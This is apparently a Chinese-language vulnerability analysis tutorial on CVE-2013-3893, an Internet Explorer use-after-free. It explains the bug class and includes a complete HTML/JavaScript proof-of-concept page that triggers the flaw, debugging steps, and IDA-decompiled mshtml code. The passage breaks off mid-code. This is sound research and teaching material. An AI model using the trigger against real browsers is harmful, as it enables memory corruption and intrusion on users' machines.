前言
Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。
在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个指针释放掉;接着执行C,C赶紧分配内存,企图使用刚才释放掉的内存,同时我们可以控制这个内存;最后D被调用,由于检查不严格调用了已经释放掉的某指针,而该指针实际上已经被我们重用并且扭曲。漏洞被利用。
但是学习IE的资料非常少,已知的大都是大牛们逆向mshtml.dll来的,辛辛苦苦得来的东西也不方便马上透露出来,所以自力更生是很重要的。我们希望了解IE运行机制,自己fuzz并找到有价值的漏洞。与此同时,能够调试已公布的漏洞,学习已有的POC,也是很重要的能力。所以这里选择CVE-2013-3893这个经典的UAF来学习IE漏洞的调试。
工具
windbg、ida、各版本IE程序、xp/vista/win7/win8虚拟机
windbg用于动态调试;IDA用于静态分析mshtml.dll——实现IE解释器的dll;各版本IE和windows是必不可少的。
基础知识
出现一个新的漏洞,涉及到的解析过程我们并不一定分析过,所以分析漏洞的同时也是学习浏览器机制的好机会。比如CVE-2013-3893这个漏洞,我们需要了解CTreeNode和元素的关系以及几个关键的函数实现。具体的结合POC和调试过程分析。
POC
<html>
<script>
function trigger()
{
Math.tan(3,4);
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
Math.sin(0);
document.body.appendChild(id_0);
document.body.appendChild(id_1);
Math.cos(0);
id_1.applyElement(id_0);
Math.tan(3,4);
id_0.onlosecapture=function(e){
document.write("");
}
Math.sin(0);
id_0[‘outerText’]="";
Math.cos(0);
id_0.setCapture();
Math.tan(3,4);
id_1.setCapture();
Math.sin(0);
}
window.onload = function() {
trigger();
}
</script>
</html>
调试技巧
用windbg载入IE时设置jscript!tan、jscript!sin、jscript!cos断点,逐语句分析。也可以将POC页面设置为IE主页,便于直接载入。结合IDA对mshtml.dll分析相关函数。
漏洞原理
id_1.setCapture时,进入CDoc::PumpMessage;获取Element的TreeNode,调用CDoc::ReleaseDetachedCaptures();参数为0调用CDos::SetMouseCapture,进入CDos::ClearMouseCapture,调用CElement::FireEvent,触发事件导致id_0.onlosecapture指定的js函数调用,document.write(“”),该函数将所有对象释放CBodyElement的CTreeNode也被释放。然后返回PumpMessage,CDos::HasContainerCapture被调用,它引用了释放的CTreeNode对象。UAF发生。看下面IDA静态分析的代码。
int __userpurge CDoc::SetMouseCapture<eax>(int a1<eax>, LPVOID lpMem, int a3, int a4, int a5, int a6, int a7)
{
int v7; // ebx@1
int flag; // edi@1
int result; // eax@3
int v10; // esi@9
int v11; // ecx@16
int v12; // eax@22
int v13; // ST14_4@28
char v14; // [sp+10h] [bp-98h]@21
int v15; // [sp+14h] [bp-94h]@21
int v16; // [sp+A4h] [bp-4h]@5
void *lpMema; // [sp+B0h] [bp+8h]@7
v7 = (int)lpMem;
flag = a1;
if ( *((_WORD *)lpMem + 938) & 0x1000 )
flag = 0;
if ( flag )
{
v16 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
result = v16;
if ( v16 < 0 )
goto LABEL_33;
v11 = *((_DWORD *)lpMem + 67) + 4 * v16;
do
{
if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == flag )
break;
--result;
v11 -= 4;
}
while ( result